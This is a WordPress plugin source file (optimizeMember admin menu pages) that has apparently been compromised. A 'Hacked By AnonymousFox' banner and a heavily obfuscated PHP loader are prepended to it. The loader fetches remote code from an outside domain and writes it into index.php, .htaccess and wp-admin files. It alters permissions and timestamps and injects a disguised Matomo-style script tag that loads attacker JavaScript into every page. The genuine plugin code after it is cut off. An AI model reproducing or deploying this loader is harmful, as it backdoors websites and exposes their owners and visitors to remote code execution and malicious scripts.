Hacked By AnonymousFox
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Administrative menu pages.
*
* Copyright: © 2009-2011
* {@link http://www.optimizepress.com/ optimizePress, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*/
if(!defined('WPINC'))
exit("Do not access this file directly.");
/**/
if(!class_exists("c_ws_plugin__optimizemember_menu_pages"))
{
/**
* Administrative menu pages.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*/
class c_ws_plugin__optimizemember_menu_pages
{
/**
* Pre-display errors.
*
* @package optimizeMember\Menu_Pages
* @since 111209
*
* @var array
*/
public static $pre_display_errors = array();
/**
* Saves all options from any menu page.
*
* Can also be self-verified; and configured extensively with function parameters.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @param array $new_options Optional. Force feed an array of new options. Defaults to ``$_POST`` vars.
* If ``$new_options`` are passed in, be SURE that you've already applied ``stripslashes_deep()``.
* @param bool $verified Optional. Defaults to false. If true, ``wp_verify_nonce()`` is skipped in this routine.
* @param bool $update_other Optional. Defaults to true. If false, other option-dependent routines will not be processed.
* @param bool|array $display_notices Optional. Defaults to true. Can be false, or an array of certain notices that can be displayed.
* @param bool|array $enqueue_notices Optional. Defaults to false. Can be true, or an array of certain notices that should be enqueued.
* @param bool $request_refresh Optional. Defaults to false. If true, resulting `success` notice will include a link to refresh the menu page.
* @return bool True if all optimizeMember options were updated successfully, else false.
*/
public static function update_all_options($new_options = FALSE, $verified = FALSE, $update_other = TRUE, $display_notices = TRUE, $enqueue_notices = FALSE, $request_refresh = FALSE)
{
$updated_all_options = false; /* Initialize this to a value of false. Initializing this variable here makes it an available reference-variable to Hooks/Filters. */
/**/
foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
do_action("ws_plugin__optimizemember_before_update_all_options", get_defined_vars()); /* If you use this Hook, be sure to use ``wp_verify_nonce()``. */
unset($__refs, $__v); /* Unset defined __refs, __v. */
/**/
if($verified || (!empty($_POST["ws_plugin__optimizemember_options_save"]) && ($nonce = $_POST["ws_plugin__optimizemember_options_save"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-options-save")))
{
$options = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]; /* Acquire the full existing configuration options array here. */
/**/
$new_options = (is_array($new_options)) ? $new_options : ((!empty($_POST) && is_array($_POST)) ? stripslashes_deep($_POST) : array());
$new_options = c_ws_plugin__optimizemember_utils_strings::trim_deep($new_options);
/**/
foreach($new_options as $key => $value) /* Find all keys contained within ``$new_options`` matching `^ws_plugin__optimizemember_`. */
if(strpos($key, "ws_plugin__optimizemember_") === 0) { /* A relevant ``$new_options`` key matching `^ws_plugin__optimizemember_`? */
if ($key == 'ws_plugin__optimizemember_ccp') {
if(array_shift($value) === "remove-signal"){
$options['ccp'] = array_diff($options['ccp'], array(reset($value)));
/* Remove from post meta */
/*For a post*/
$allposts = get_posts( 'meta_key=optimizemember_ccaps_req' );
foreach( $allposts as $post ) {
$prev_value = get_post_meta( $post->ID, 'optimizemember_ccaps_req', true );
$meta_value = array_diff($prev_value, array(reset($value)));
update_post_meta( $post->ID,'optimizemember_ccaps_req', $meta_value, $prev_value );
}
/*For a page*/
$allpages = get_pages( 'meta_key=optimizemember_ccaps_req' );
foreach( $allpages as $page ) {
$prev_value = get_post_meta( $page->ID, 'optimizemember_ccaps_req', true );
$meta_value = array_diff($prev_value, array(reset($value)));
update_post_meta( $page->ID,'optimizemember_ccaps_req', $meta_value, $prev_value );
}
} else {
$value = array_filter($new_options[$key]);
// making sure there are no strange characters in $value
$value = preg_replace('/[^\w-_]/', '_', $value);
$value = array_map('strtolower', $value);
}
}
/**/
if($key === "ws_plugin__optimizemember_configured") /* optimizeMember is now configured ( according to these options )? */
($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["configured"] = $value).update_option("ws_plugin__optimizemember_configured", $value);
/**/
else if(!is_array($value) || (is_array($value) && /* Updating an array? */ array_shift($value) === "update-signal"))
$options[preg_replace("/^".preg_quote("ws_plugin__optimizemember_", "/")."/", "", $key)] = $value;
/**/}
unset($key, $value); /* Unset these utility variables now. This prevents bleeding vars into Hooks/Filters that are of no use. */
//die(print_r($options));
/**/
foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
do_action("ws_plugin__optimizemember_during_update_all_options", get_defined_vars()); /* If you use this Hook, be sure to use ``wp_verify_nonce()``. */
unset($__refs, $__v); /* Unset defined __refs, __v. */
/**/
$options = ws_plugin__optimizemember_configure_options_and_their_defaults(($options = array_merge($options, array("options_version" => (string)($options["options_version"] + 0.001)))));
update_option("ws_plugin__optimizemember_options", $options).((is_multisite() && is_main_site()) ? update_site_option("ws_plugin__optimizemember_options", $options) : null).update_option("ws_plugin__optimizemember_cache", array());
/**/
if($update_other === true || in_array("auto_eot_system", (array)$update_other)) /* Handle the Auto-EOT System now ( enable/disable ). */
($options["auto_eot_system_enabled"] == 1) ? c_ws_plugin__optimizemember_auto_eots::add_auto_eot_system() : c_ws_plugin__optimizemember_auto_eots::delete_auto_eot_system();
/**/
if(($display_notices === true || in_array("success", (array)$display_notices)) && ($notice = '<strong>Options saved.'.(($request_refresh) ? ' Please <a href="'.esc_attr($_SERVER["REQUEST_URI"]).'">refresh</a>.' : '').'</strong>'))
($enqueue_notices === true || in_array("success", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*") : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice);
/**/
if(empty($_GET["page"]) || $_GET["page"] !== "ws-plugin--optimizemember-mms-ops") /* Do NOT display page-conflict-warnings on the Main Multisite Configuration panel. */
{
/*
